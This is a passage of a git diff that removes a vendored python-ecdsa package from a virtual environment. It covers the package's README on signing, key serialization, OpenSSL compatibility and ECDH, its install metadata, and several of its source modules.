http://webpages.charter.net/curryfans/peter/downloads.html - -## Testing - -To run the full test suite, do this: - - tox -e coverage - -On an Intel Core i7 4790K @ 4.0GHz, the tests take about 18 seconds to execute. -The test suite uses -[`hypothesis`](https://github.com/HypothesisWorks/hypothesis) so there is some -inherent variability in the test suite execution time. - -One part of `test_pyecdsa.py` and `test_ecdh.py` checks compatibility with -OpenSSL, by running the "openssl" CLI tool, make sure it's in your `PATH` if -you want to test compatibility with it (if OpenSSL is missing, too old, or -doesn't support all the curves supported in upstream releases you will see -skipped tests in the above `coverage` run). - -## Security - -This library was not designed with security in mind. If you are processing -data that needs to be protected we suggest you use a quality wrapper around -OpenSSL. [pyca/cryptography](https://cryptography.io) is one example of such -a wrapper. The primary use-case of this library is as a portable library for -interoperability testing and as a teaching tool. - -**This library does not protect against side-channel attacks.** - -Do not allow attackers to measure how long it takes you to generate a key pair -or sign a message. Do not allow attackers to run code on the same physical -machine when key pair generation or signing is taking place (this includes -virtual machines). Do not allow attackers to measure how much power your -computer uses while generating the key pair or signing a message. Do not allow -attackers to measure RF interference coming from your computer while generating -a key pair or signing a message. Note: just loading the private key will cause -key pair generation. Other operations or attack vectors may also be -vulnerable to attacks. **For a sophisticated attacker observing just one -operation with a private key will be sufficient to completely -reconstruct the private key**. - -Please also note that any Pure-python cryptographic library will be vulnerable -to the same side-channel attacks. This is because Python does not provide -side-channel secure primitives (with the exception of -[`hmac.compare_digest()`][3]), making side-channel secure programming -impossible. - -This library depends upon a strong source of random numbers. Do not use it on -a system where `os.urandom()` does not provide cryptographically secure -random numbers. - -[3]: https://docs.python.org/3/library/hmac.html#hmac.compare_digest - -## Usage - -You start by creating a `SigningKey`. You can use this to sign data, by passing -in data as a byte string and getting back the signature (also a byte string). -You can also ask a `SigningKey` to give you the corresponding `VerifyingKey`. -The `VerifyingKey` can be used to verify a signature, by passing it both the -data string and the signature byte string: it either returns True or raises -`BadSignatureError`. - -```python -from ecdsa import SigningKey -sk = SigningKey.generate() # uses NIST192p -vk = sk.verifying_key -signature = sk.sign(b"message") -assert vk.verify(signature, b"message") -``` - -Each `SigningKey`/`VerifyingKey` is associated with a specific curve, like -NIST192p (the default one). Longer curves are more secure, but take longer to -use, and result in longer keys and signatures. - -```python -from ecdsa import SigningKey, NIST384p -sk = SigningKey.generate(curve=NIST384p) -vk = sk.verifying_key -signature = sk.sign(b"message") -assert vk.verify(signature, b"message") -``` - -The `SigningKey` can be serialized into several different formats: the shortest -is to call `s=sk.to_string()`, and then re-create it with -`SigningKey.from_string(s, curve)` . This short form does not record the -curve, so you must be sure to pass to `from_string()` the same curve you used -for the original key. The short form of a NIST192p-based signing key is just 24 -bytes long. If a point encoding is invalid or it does not lie on the specified -curve, `from_string()` will raise `MalformedPointError`. - -```python -from ecdsa import SigningKey, NIST384p -sk = SigningKey.generate(curve=NIST384p) -sk_string = sk.to_string() -sk2 = SigningKey.from_string(sk_string, curve=NIST384p) -print(sk_string.hex()) -print(sk2.to_string().hex()) -``` - -Note: while the methods are called `to_string()` the type they return is -actually `bytes`, the "string" part is leftover from Python 2. - -`sk.to_pem()` and `sk.to_der()` will serialize the signing key into the same -formats that OpenSSL uses. The PEM file looks like the familiar ASCII-armored -`"-----BEGIN EC PRIVATE KEY-----"` base64-encoded format, and the DER format -is a shorter binary form of the same data. -`SigningKey.from_pem()/.from_der()` will undo this serialization. These -formats include the curve name, so you do not need to pass in a curve -identifier to the deserializer. In case the file is malformed `from_der()` -and `from_pem()` will raise `UnexpectedDER` or` MalformedPointError`. - -```python -from ecdsa import SigningKey, NIST384p -sk = SigningKey.generate(curve=NIST384p) -sk_pem = sk.to_pem() -sk2 = SigningKey.from_pem(sk_pem) -# sk and sk2 are the same key -``` - -Likewise, the `VerifyingKey` can be serialized in the same way: -`vk.to_string()/VerifyingKey.from_string()`, `to_pem()/from_pem()`, and -`to_der()/from_der()`. The same `curve=` argument is needed for -`VerifyingKey.from_string()`. - -```python -from ecdsa import SigningKey, VerifyingKey, NIST384p -sk = SigningKey.generate(curve=NIST384p) -vk = sk.verifying_key -vk_string = vk.to_string() -vk2 = VerifyingKey.from_string(vk_string, curve=NIST384p) -# vk and vk2 are the same key - -from ecdsa import SigningKey, VerifyingKey, NIST384p -sk = SigningKey.generate(curve=NIST384p) -vk = sk.verifying_key -vk_pem = vk.to_pem() -vk2 = VerifyingKey.from_pem(vk_pem) -# vk and vk2 are the same key -``` - -There are a couple of different ways to compute a signature. Fundamentally, -ECDSA takes a number that represents the data being signed, and returns a -pair of numbers that represent the signature. The `hashfunc=` argument to -`sk.sign()` and `vk.verify()` is used to turn an arbitrary string into a -fixed-length digest, which is then turned into a number that ECDSA can sign, -and both sign and verify must use the same approach. The default value is -`hashlib.sha1`, but if you use NIST256p or a longer curve, you can use -`hashlib.sha256` instead. - -There are also multiple ways to represent a signature. The default -`sk.sign()` and `vk.verify()` methods present it as a short string, for -simplicity and minimal overhead. To use a different scheme, use the -`sk.sign(sigencode=)` and `vk.verify(sigdecode=)` arguments. There are helper -functions in the `ecdsa.util` module that can be useful here. - -It is also possible to create a `SigningKey` from a "seed", which is -deterministic. This can be used in protocols where you want to derive -consistent signing keys from some other secret, for example when you want -three separate keys and only want to store a single master secret. You should -start with a uniformly-distributed unguessable seed with about `curve.baselen` -bytes of entropy, and then use one of the helper functions in `ecdsa.util` to -convert it into an integer in the correct range, and then finally pass it -into `SigningKey.from_secret_exponent()`, like this: - -```python -import os -from ecdsa import NIST384p, SigningKey -from ecdsa.util import randrange_from_seed__trytryagain - -def make_key(seed): - secexp = randrange_from_seed__trytryagain(seed, NIST384p.order) - return SigningKey.from_secret_exponent(secexp, curve=NIST384p) - -seed = os.urandom(NIST384p.baselen) # or other starting point -sk1a = make_key(seed) -sk1b = make_key(seed) -# note: sk1a and sk1b are the same key -assert sk1a.to_string() == sk1b.to_string() -sk2 = make_key(b"2-"+seed) # different key -assert sk1a.to_string() != sk2.to_string() -``` - -In case the application will verify a lot of signatures made with a single -key, it's possible to precompute some of the internal values to make -signature verification significantly faster. The break-even point occurs at -about 100 signatures verified. - -To perform precomputation, you can call the `precompute()` method -on `VerifyingKey` instance: -```python -from ecdsa import SigningKey, NIST384p -sk = SigningKey.generate(curve=NIST384p) -vk = sk.verifying_key -vk.precompute() -signature = sk.sign(b"message") -assert vk.verify(signature, b"message") -``` - -Once `precompute()` was called, all signature verifications with this key will -be faster to execute. - -## OpenSSL Compatibility - -To produce signatures that can be verified by OpenSSL tools, or to verify -signatures that were produced by those tools, use: - -```python -# openssl ecparam -name prime256v1 -genkey -out sk.pem -# openssl ec -in sk.pem -pubout -out vk.pem -# echo "data for signing" > data -# openssl dgst -sha256 -sign sk.pem -out data.sig data -# openssl dgst -sha256 -verify vk.pem -signature data.sig data -# openssl dgst -sha256 -prverify sk.pem -signature data.sig data - -import hashlib -from ecdsa import SigningKey, VerifyingKey -from ecdsa.util import sigencode_der, sigdecode_der - -with open("vk.pem") as f: - vk = VerifyingKey.from_pem(f.read()) - -with open("data", "rb") as f: - data = f.read() - -with open("data.sig", "rb") as f: - signature = f.read() - -assert vk.verify(signature, data, hashlib.sha256, sigdecode=sigdecode_der) - -with open("sk.pem") as f: - sk = SigningKey.from_pem(f.read(), hashlib.sha256) - -new_signature = sk.sign_deterministic(data, sigencode=sigencode_der) - -with open("data.sig2", "wb") as f: - f.write(new_signature) - -# openssl dgst -sha256 -verify vk.pem -signature data.sig2 data -``` - -Note: if compatibility with OpenSSL 1.0.0 or earlier is necessary, the -`sigencode_string` and `sigdecode_string` from `ecdsa.util` can be used for -respectively writing and reading the signatures. - -The keys also can be written in format that openssl can handle: - -```python -from ecdsa import SigningKey, VerifyingKey - -with open("sk.pem") as f: - sk = SigningKey.from_pem(f.read()) -with open("sk.pem", "wb") as f: - f.write(sk.to_pem()) - -with open("vk.pem") as f: - vk = VerifyingKey.from_pem(f.read()) -with open("vk.pem", "wb") as f: - f.write(vk.to_pem()) -``` - -## Entropy - -Creating a signing key with `SigningKey.generate()` requires some form of -entropy (as opposed to -`from_secret_exponent`/`from_string`/`from_der`/`from_pem`, -which are deterministic and do not require an entropy source). The default -source is `os.urandom()`, but you can pass any other function that behaves -like `os.urandom` as the `entropy=` argument to do something different. This -may be useful in unit tests, where you want to achieve repeatable results. The -`ecdsa.util.PRNG` utility is handy here: it takes a seed and produces a strong -pseudo-random stream from it: - -```python -from ecdsa.util import PRNG -from ecdsa import SigningKey -rng1 = PRNG(b"seed") -sk1 = SigningKey.generate(entropy=rng1) -rng2 = PRNG(b"seed") -sk2 = SigningKey.generate(entropy=rng2) -# sk1 and sk2 are the same key -``` - -Likewise, ECDSA signature generation requires a random number, and each -signature must use a different one (using the same number twice will -immediately reveal the private signing key). The `sk.sign()` method takes an -`entropy=` argument which behaves the same as `SigningKey.generate(entropy=)`. - -## Deterministic Signatures - -If you call `SigningKey.sign_deterministic(data)` instead of `.sign(data)`, -the code will generate a deterministic signature instead of a random one. -This uses the algorithm from RFC6979 to safely generate a unique `k` value, -derived from the private key and the message being signed. Each time you sign -the same message with the same key, you will get the same signature (using -the same `k`). - -This may become the default in a future version, as it is not vulnerable to -failures of the entropy source. - -## Examples - -Create a NIST192p key pair and immediately save both to disk: - -```python -from ecdsa import SigningKey -sk = SigningKey.generate() -vk = sk.verifying_key -with open("private.pem", "wb") as f: - f.write(sk.to_pem()) -with open("public.pem", "wb") as f: - f.write(vk.to_pem()) -``` - -Load a signing key from disk, use it to sign a message (using SHA-1), and write -the signature to disk: - -```python -from ecdsa import SigningKey -with open("private.pem") as f: - sk = SigningKey.from_pem(f.read()) -with open("message", "rb") as f: - message = f.read() -sig = sk.sign(message) -with open("signature", "wb") as f: - f.write(sig) -``` - -Load the verifying key, message, and signature from disk, and verify the -signature (assume SHA-1 hash): - -```python -from ecdsa import VerifyingKey, BadSignatureError -vk = VerifyingKey.from_pem(open("public.pem").read()) -with open("message", "rb") as f: - message = f.read() -with open("signature", "rb") as f: - sig = f.read() -try: - vk.verify(sig, message) - print "good signature" -except BadSignatureError: - print "BAD SIGNATURE" -``` - -Create a NIST521p key pair: - -```python -from ecdsa import SigningKey, NIST521p -sk = SigningKey.generate(curve=NIST521p) -vk = sk.verifying_key -``` - -Create three independent signing keys from a master seed: - -```python -from ecdsa import NIST192p, SigningKey -from ecdsa.util import randrange_from_seed__trytryagain - -def make_key_from_seed(seed, curve=NIST192p): - secexp = randrange_from_seed__trytryagain(seed, curve.order) - return SigningKey.from_secret_exponent(secexp, curve) - -sk1 = make_key_from_seed("1:%s" % seed) -sk2 = make_key_from_seed("2:%s" % seed) -sk3 = make_key_from_seed("3:%s" % seed) -``` - -Load a verifying key from disk and print it using hex encoding in -uncompressed and compressed format (defined in X9.62 and SEC1 standards): - -```python -from ecdsa import VerifyingKey - -with open("public.pem") as f: - vk = VerifyingKey.from_pem(f.read()) - -print("uncompressed: {0}".format(vk.to_string("uncompressed").hex())) -print("compressed: {0}".format(vk.to_string("compressed").hex())) -``` - -Load a verifying key from a hex string from compressed format, output -uncompressed: - -```python -from ecdsa import VerifyingKey, NIST256p - -comp_str = '022799c0d0ee09772fdd337d4f28dc155581951d07082fb19a38aa396b67e77759' -vk = VerifyingKey.from_string(bytearray.fromhex(comp_str), curve=NIST256p) -print(vk.to_string("uncompressed").hex()) -``` - -ECDH key exchange with remote party: - -```python -from ecdsa import ECDH, NIST256p - -ecdh = ECDH(curve=NIST256p) -ecdh.generate_private_key() -local_public_key = ecdh.get_public_key() -#send `local_public_key` to remote party and receive `remote_public_key` from remote party -with open("remote_public_key.pem") as e: - remote_public_key = e.read() -ecdh.load_received_public_key_pem(remote_public_key) -secret = ecdh.generate_sharedsecret_bytes() -``` diff --git a/venv/Lib/site-packages/ecdsa-0.19.2.dist-info/RECORD b/venv/Lib/site-packages/ecdsa-0.19.2.dist-info/RECORD deleted file mode 100644 index d8ba324f6553fcc1e8c59312703939d0c4a86fbe..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa-0.19.2.dist-info/RECORD +++ /dev/null @@ -1,66 +0,0 @@ -ecdsa-0.19.2.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -ecdsa-0.19.2.dist-info/LICENSE,sha256=PsqYRXc9LluMydjBGdNF8ApIBuS9Zg1KPWzfnA6di7I,1147 -ecdsa-0.19.2.dist-info/METADATA,sha256=wKX8TBrcw3v7HPRmiB4JzQaAUkNpyHqAlKcfrHWL35I,29638 -ecdsa-0.19.2.dist-info/RECORD,, -ecdsa-0.19.2.dist-info/WHEEL,sha256=6binq_9xKkNRe3m9rvW8w6Q1IH2Y1x7ilGugrYZIb14,109 -ecdsa-0.19.2.dist-info/top_level.txt,sha256=7ovPHfAPyTou19f8gOSbHm6B9dGjTibWolcCB7Zjovs,6 -ecdsa/__init__.py,sha256=wRUnU3g01MM-mLNemnov-_8B81DlbSrqoFtOO4bZzQQ,1931 -ecdsa/__pycache__/__init__.cpython-314.pyc,, -ecdsa/__pycache__/_compat.cpython-314.pyc,, -ecdsa/__pycache__/_rwlock.cpython-314.pyc,, -ecdsa/__pycache__/_sha3.cpython-314.pyc,, -ecdsa/__pycache__/_version.cpython-314.pyc,, -ecdsa/__pycache__/curves.cpython-314.pyc,, -ecdsa/__pycache__/der.cpython-314.pyc,, -ecdsa/__pycache__/ecdh.cpython-314.pyc,, -ecdsa/__pycache__/ecdsa.cpython-314.pyc,, -ecdsa/__pycache__/eddsa.cpython-314.pyc,, -ecdsa/__pycache__/ellipticcurve.cpython-314.pyc,, -ecdsa/__pycache__/errors.cpython-314.pyc,, -ecdsa/__pycache__/keys.cpython-314.pyc,, -ecdsa/__pycache__/numbertheory.cpython-314.pyc,, -ecdsa/__pycache__/rfc6979.cpython-314.pyc,, -ecdsa/__pycache__/ssh.cpython-314.pyc,, -ecdsa/__pycache__/test_curves.cpython-314.pyc,, -ecdsa/__pycache__/test_der.cpython-314.pyc,, -ecdsa/__pycache__/test_ecdh.cpython-314.pyc,, -ecdsa/__pycache__/test_ecdsa.cpython-314.pyc,, -ecdsa/__pycache__/test_eddsa.cpython-314.pyc,, -ecdsa/__pycache__/test_ellipticcurve.cpython-314.pyc,, -ecdsa/__pycache__/test_jacobi.cpython-314.pyc,, -ecdsa/__pycache__/test_keys.cpython-314.pyc,, -ecdsa/__pycache__/test_malformed_sigs.cpython-314.pyc,, -ecdsa/__pycache__/test_numbertheory.cpython-314.pyc,, -ecdsa/__pycache__/test_pyecdsa.cpython-314.pyc,, -ecdsa/__pycache__/test_rw_lock.cpython-314.pyc,, -ecdsa/__pycache__/test_sha3.cpython-314.pyc,, -ecdsa/__pycache__/util.cpython-314.pyc,, -ecdsa/_compat.py,sha256=5EP735DlmaSb8Slk4BMnh9Z7MvYpTnGS3S_DBmHETwo,4047 -ecdsa/_rwlock.py,sha256=CAwHp2V65ksI8B1UqY7EccK9LaUToiv6pDLVzm44eag,2849 -ecdsa/_sha3.py,sha256=DJs7QLmdkQMU35llyD8HQeAXNvf5sMcujO6oFdScIqI,4747 -ecdsa/_version.py,sha256=liwavUe1uF7EpHjUIds7vC8AbzIuj3EaHTZR2cASBsA,498 -ecdsa/curves.py,sha256=EcPE0WRFkjpPMZfVM0-hRQ63CdW5GKTkDRpK-VOy1Zo,15975 -ecdsa/der.py,sha256=k--7Vn7CkbjCV_FTIN7HGijYXkDoZkSo-w0vlIVsYwY,16774 -ecdsa/ecdh.py,sha256=Tiirawt5xegVDrY9eS-ATvvfmTIznUyv5fy2k7VnzTk,11011 -ecdsa/ecdsa.py,sha256=82ECyve36rL4_y8Zk8jPB-Uyb67Ppx6CYdqIeFniv7w,31699 -ecdsa/eddsa.py,sha256=IzsGzoGAefcoYjF7DVjFkX5ZJqiK2LTOmAMe6wyf4UU,7170 -ecdsa/ellipticcurve.py,sha256=OhoxJsJJ_7Dp5e10AblD_ui9Uo2WxozRby37gxqcuOk,54296 -ecdsa/errors.py,sha256=b4mhnmIpRnEdHzbectHAA5F7O9MtSaI-fYoc13_vBxQ,130 -ecdsa/keys.py,sha256=FkpubL9MGCfkCJ6aVvV5c0bve4ZuBtU3P1dRRBTth0k,65503 -ecdsa/numbertheory.py,sha256=Ad2-mVFaOytMomBC-7d0cJao4tpkVLh4x7vyqj73G6A,17831 -ecdsa/rfc6979.py,sha256=zwzo33lsZJA9r2dSf7HCliI_yIbw5cJ0Ek9tLdRRO40,2850 -ecdsa/ssh.py,sha256=360JY0dbYeZaqx9k_OhlHzPZYZTw5UB5xtK2XLBqb0M,1916 -ecdsa/test_curves.py,sha256=l5N-m4Yo5IAy4a8aJMsBamaSlLAfSoYjYqCj1HDEVpU,13081 -ecdsa/test_der.py,sha256=c9MaFkZuZl_V3IEm39eAfiHAEXt2_PpQV7fhp5qXmkE,19849 -ecdsa/test_ecdh.py,sha256=20TEYyGcnynAPS9nlr_k2ed6S7lJ1Z0bbohNU-pEGco,15380 -ecdsa/test_ecdsa.py,sha256=V5Q4Q7uUFfStVdeFtwhXVpFlFi0Nx5J5uru9T3j_3DQ,25037 -ecdsa/test_eddsa.py,sha256=1jfHF_ZSyillv6DLKJZ0SeYThauTCHsyRNAweS_4MEQ,33720 -ecdsa/test_ellipticcurve.py,sha256=mvIBD_KKrOY4Vpd4KcR3J8RCBxINJtqWls1WMEsFgnE,8798 -ecdsa/test_jacobi.py,sha256=SVrS--PSwDakCYit216khmzF8eQryWtiI3sYWd_6890,25811 -ecdsa/test_keys.py,sha256=reQ2KtfOsANa59CqvvRWjZm-SaWfscJZVJaE9RFyL94,39415 -ecdsa/test_malformed_sigs.py,sha256=Dg1Dkvgz1tO-KhZ6f9ZRljykz8FBYtld3hq1W2hLLM8,11289 -ecdsa/test_numbertheory.py,sha256=YTtclt_50n_24U__r2JyV3LEqR2BsBmA6IJghwBDz8c,13265 -ecdsa/test_pyecdsa.py,sha256=2zoWfR_xAqagKOFHVJt4dTZZacu1zT4JxXH_HJUABW8,91272 -ecdsa/test_rw_lock.py,sha256=byv0_FTM90cbuHPCI6__LeQJkHL_zYEeVYIBO8e2LLc,7021 -ecdsa/test_sha3.py,sha256=0PkWi7AnTJ10YNfDVqj2SB7adeTbV6DCvMg4n9ULad8,3042 -ecdsa/util.py,sha256=UixXH6PR9poMrWQJ93rKpUSVZHxP1AmLwlkrkI3FWFE,18006 diff --git a/venv/Lib/site-packages/ecdsa-0.19.2.dist-info/WHEEL b/venv/Lib/site-packages/ecdsa-0.19.2.dist-info/WHEEL deleted file mode 100644 index b2cd3f7a55cc9582f8e52e87a9afabf5dfc2934f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa-0.19.2.dist-info/WHEEL +++ /dev/null @@ -1,6 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (74.1.3) -Root-Is-Purelib: true -Tag: py2-none-any -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/ecdsa-0.19.2.dist-info/top_level.txt b/venv/Lib/site-packages/ecdsa-0.19.2.dist-info/top_level.txt deleted file mode 100644 index aa5efdb5477750aa09b300b3ae6a50012b8a5eef..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa-0.19.2.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -ecdsa diff --git a/venv/Lib/site-packages/ecdsa/__init__.py b/venv/Lib/site-packages/ecdsa/__init__.py deleted file mode 100644 index 342538e03a8c3e5db856c44958b73b16fd953f8a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/__init__.py +++ /dev/null @@ -1,104 +0,0 @@ -# while we don't use six in this file, we did bundle it for a long time, so -# keep as part of module in a virtual way (through __all__) -import six -from .keys import ( - SigningKey, - VerifyingKey, - BadSignatureError, - BadDigestError, - MalformedPointError, -) -from .curves import ( - NIST192p, - NIST224p, - NIST256p, - NIST384p, - NIST521p, - SECP256k1, - BRAINPOOLP160r1, - BRAINPOOLP192r1, - BRAINPOOLP224r1, - BRAINPOOLP256r1, - BRAINPOOLP320r1, - BRAINPOOLP384r1, - BRAINPOOLP512r1, - SECP112r1, - SECP112r2, - SECP128r1, - SECP160r1, - Ed25519, - Ed448, - BRAINPOOLP160t1, - BRAINPOOLP192t1, - BRAINPOOLP224t1, - BRAINPOOLP256t1, - BRAINPOOLP320t1, - BRAINPOOLP384t1, - BRAINPOOLP512t1, -) -from .ecdh import ( - ECDH, - NoKeyError, - NoCurveError, - InvalidCurveError, - InvalidSharedSecretError, -) -from .der import UnexpectedDER -from . import _version - -# This code comes from http://github.com/tlsfuzzer/python-ecdsa -__all__ = [ - "curves", - "der", - "ecdsa", - "ellipticcurve", - "keys", - "numbertheory", - "test_pyecdsa", - "util", - "six", -] - -_hush_pyflakes = [ - SigningKey, - VerifyingKey, - BadSignatureError, - BadDigestError, - MalformedPointError, - UnexpectedDER, - InvalidCurveError, - NoKeyError, - InvalidSharedSecretError, - ECDH, - NoCurveError, - NIST192p, - NIST224p, - NIST256p, - NIST384p, - NIST521p, - SECP256k1, - BRAINPOOLP160r1, - BRAINPOOLP192r1, - BRAINPOOLP224r1, - BRAINPOOLP256r1, - BRAINPOOLP320r1, - BRAINPOOLP384r1, - BRAINPOOLP512r1, - SECP112r1, - SECP112r2, - SECP128r1, - SECP160r1, - Ed25519, - Ed448, - six.b(""), - BRAINPOOLP160t1, - BRAINPOOLP192t1, - BRAINPOOLP224t1, - BRAINPOOLP256t1, - BRAINPOOLP320t1, - BRAINPOOLP384t1, - BRAINPOOLP512t1, -] -del _hush_pyflakes - -__version__ = _version.get_versions()["version"] diff --git a/venv/Lib/site-packages/ecdsa/_compat.py b/venv/Lib/site-packages/ecdsa/_compat.py deleted file mode 100644 index 4558e33a2ab0e382b702f3a83483407de86c922b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/_compat.py +++ /dev/null @@ -1,138 +0,0 @@ -""" -Common functions for providing cross-python version compatibility. -""" -import sys -import re -import binascii -from six import integer_types - - -def str_idx_as_int(string, index): - """Take index'th byte from string, return as integer""" - val = string[index] - if isinstance(val, integer_types): - return val - return ord(val) - - -if sys.version_info < (3, 0): # pragma: no branch - import platform - - def normalise_bytes(buffer_object): - """Cast the input into array of bytes.""" - # flake8 runs on py3 where `buffer` indeed doesn't exist... - return buffer(buffer_object) # noqa: F821 - - def hmac_compat(ret): - return ret - - if ( - sys.version_info < (2, 7) - or sys.version_info < (2, 7, 4) - or platform.system() == "Java" - ): # pragma: no branch - - def remove_whitespace(text): - """Removes all whitespace from passed in string""" - return re.sub(r"\s+", "", text) - - def compat26_str(val): - return str(val) - - def bit_length(val): - if val == 0: - return 0 - return len(bin(val)) - 2 - - else: - - def remove_whitespace(text): - """Removes all whitespace from passed in string""" - return re.sub(r"\s+", "", text, flags=re.UNICODE) - - def compat26_str(val): - return val - - def bit_length(val): - """Return number of bits necessary to represent an integer.""" - return val.bit_length() - - def b2a_hex(val): - return binascii.b2a_hex(compat26_str(val)) - - def a2b_hex(val): - try: - return bytearray(binascii.a2b_hex(val)) - except Exception as e: - raise ValueError("base16 error: %s" % e) - - def bytes_to_int(val, byteorder): - """Convert bytes to an int.""" - if not val: - return 0 - if byteorder == "big": - return int(b2a_hex(val), 16) - if byteorder == "little": - return int(b2a_hex(val[::-1]), 16) - raise ValueError("Only 'big' and 'little' endian supported") - - def int_to_bytes(val, length=None, byteorder="big"): - """Return number converted to bytes""" - if length is None: - length = byte_length(val) - if byteorder == "big": - return bytearray( - (val >> i) & 0xFF for i in reversed(range(0, length * 8, 8)) - ) - if byteorder == "little": - return bytearray( - (val >> i) & 0xFF for i in range(0, length * 8, 8) - ) - raise ValueError("Only 'big' or 'little' endian supported") - -else: - - def hmac_compat(data): - return data - - def normalise_bytes(buffer_object): - """Cast the input into array of bytes.""" - return memoryview(buffer_object).cast("B") - - def compat26_str(val): - return val - - def remove_whitespace(text): - """Removes all whitespace from passed in string""" - return re.sub(r"\s+", "", text, flags=re.UNICODE) - - def a2b_hex(val): - try: - return bytearray(binascii.a2b_hex(bytearray(val, "ascii"))) - except Exception as e: - raise ValueError("base16 error: %s" % e) - - # pylint: disable=invalid-name - # pylint is stupid here and doesn't notice it's a function, not - # constant - bytes_to_int = int.from_bytes - # pylint: enable=invalid-name - - def bit_length(val): - """Return number of bits necessary to represent an integer.""" - return val.bit_length() - - def int_to_bytes(val, length=None, byteorder="big"): - """Convert integer to bytes.""" - if length is None: - length = byte_length(val) - # for gmpy we need to convert back to native int - if not isinstance(val, int): - val = int(val) - return bytearray(val.to_bytes(length=length, byteorder=byteorder)) - - -def byte_length(val): - """Return number of bytes necessary to represent an integer.""" - length = bit_length(val) - return (length + 7) // 8 diff --git a/venv/Lib/site-packages/ecdsa/_rwlock.py b/venv/Lib/site-packages/ecdsa/_rwlock.py deleted file mode 100644 index 010e4981bce3e75962d0bb3ff3f01c0f0d6b4f83..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/_rwlock.py +++ /dev/null @@ -1,86 +0,0 @@ -# Copyright Mateusz Kobos, (c) 2011 -# https://code.activestate.com/recipes/577803-reader-writer-lock-with-priority-for-writers/ -# released under the MIT licence - -import threading - - -__author__ = "Mateusz Kobos" - - -class RWLock: - """ - Read-Write locking primitive - - Synchronization object used in a solution of so-called second - readers-writers problem. In this problem, many readers can simultaneously - access a share, and a writer has an exclusive access to this share. - Additionally, the following constraints should be met: - 1) no reader should be kept waiting if the share is currently opened for - reading unless a writer is also waiting for the share, - 2) no writer should be kept waiting for the share longer than absolutely - necessary. - - The implementation is based on [1, secs. 4.2.2, 4.2.6, 4.2.7] - with a modification -- adding an additional lock (C{self.__readers_queue}) - -- in accordance with [2]. - - Sources: - [1] A.B. Downey: "The little book of semaphores", Version 2.1.5, 2008 - [2] P.J. Courtois, F. Heymans, D.L. Parnas: - "Concurrent Control with 'Readers' and 'Writers'", - Communications of the ACM, 1971 (via [3]) - [3] http://en.wikipedia.org/wiki/Readers-writers_problem - """ - - def __init__(self): - """ - A lock giving an even higher priority to the writer in certain - cases (see [2] for a discussion). - """ - self.__read_switch = _LightSwitch() - self.__write_switch = _LightSwitch() - self.__no_readers = threading.Lock() - self.__no_writers = threading.Lock() - self.__readers_queue = threading.Lock() - - def reader_acquire(self): - self.__readers_queue.acquire() - self.__no_readers.acquire() - self.__read_switch.acquire(self.__no_writers) - self.__no_readers.release() - self.__readers_queue.release() - - def reader_release(self): - self.__read_switch.release(self.__no_writers) - - def writer_acquire(self): - self.__write_switch.acquire(self.__no_readers) - self.__no_writers.acquire() - - def writer_release(self): - self.__no_writers.release() - self.__write_switch.release(self.__no_readers) - - -class _LightSwitch: - """An auxiliary "light switch"-like object. The first thread turns on the - "switch", the last one turns it off (see [1, sec. 4.2.2] for details).""" - - def __init__(self): - self.__counter = 0 - self.__mutex = threading.Lock() - - def acquire(self, lock): - self.__mutex.acquire() - self.__counter += 1 - if self.__counter == 1: - lock.acquire() - self.__mutex.release() - - def release(self, lock): - self.__mutex.acquire() - self.__counter -= 1 - if self.__counter == 0: - lock.release() - self.__mutex.release() diff --git a/venv/Lib/site-packages/ecdsa/_sha3.py b/venv/Lib/site-packages/ecdsa/_sha3.py deleted file mode 100644 index 2db005869e789d5504ae4f45956a2249d1eed863..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/_sha3.py +++ /dev/null @@ -1,181 +0,0 @@ -""" -Implementation of the SHAKE-256 algorithm for Ed448 -""" - -try: - import hashlib - - hashlib.new("shake256").digest(64) - - def shake_256(msg, outlen): - return hashlib.new("shake256", msg).digest(outlen) - -except (TypeError, ValueError): - - from ._compat import bytes_to_int, int_to_bytes - - # From little endian. - def _from_le(s): - return bytes_to_int(s, byteorder="little") - - # Rotate a word x by b places to the left. - def _rol(x, b): - return ((x << b) | (x >> (64 - b))) & (2**64 - 1) - - # Do the SHA-3 state transform on state s. - def _sha3_transform(s): - ROTATIONS = [ - 0, - 1, - 62, - 28, - 27, - 36, - 44, - 6, - 55, - 20, - 3, - 10, - 43, - 25, - 39, - 41, - 45, - 15, - 21, - 8, - 18, - 2, - 61, - 56, - 14, - ] - PERMUTATION = [ - 1, - 6, - 9, - 22, - 14, - 20, - 2, - 12, - 13, - 19, - 23, - 15, - 4, - 24, - 21, - 8, - 16, - 5, - 3, - 18, - 17, - 11, - 7, - 10, - ] - RC = [ - 0x0000000000000001, - 0x0000000000008082, - 0x800000000000808A, - 0x8000000080008000, - 0x000000000000808B, - 0x0000000080000001, - 0x8000000080008081, - 0x8000000000008009, - 0x000000000000008A, - 0x0000000000000088, - 0x0000000080008009, - 0x000000008000000A, - 0x000000008000808B, - 0x800000000000008B, - 0x8000000000008089, - 0x8000000000008003, - 0x8000000000008002, - 0x8000000000000080, - 0x000000000000800A, - 0x800000008000000A, - 0x8000000080008081, - 0x8000000000008080, - 0x0000000080000001, - 0x8000000080008008, - ] - - for rnd in range(0, 24): - # AddColumnParity (Theta) - c = [0] * 5 - d = [0] * 5 - for i in range(0, 25): - c[i % 5] ^= s[i] - for i in range(0, 5): - d[i] = c[(i + 4) % 5] ^ _rol(c[(i + 1) % 5], 1) - for i in range(0, 25): - s[i] ^= d[i % 5] - # RotateWords (Rho) - for i in range(0, 25): - s[i] = _rol(s[i], ROTATIONS[i]) - # PermuteWords (Pi) - t = s[PERMUTATION[0]] - for i in range(0, len(PERMUTATION) - 1): - s[PERMUTATION[i]] = s[PERMUTATION[i + 1]] - s[PERMUTATION[-1]] = t - # NonlinearMixRows (Chi) - for i in range(0, 25, 5): - t = [ - s[i], - s[i + 1], - s[i + 2], - s[i + 3], - s[i + 4], - s[i], - s[i + 1], - ] - for j in range(0, 5): - s[i + j] 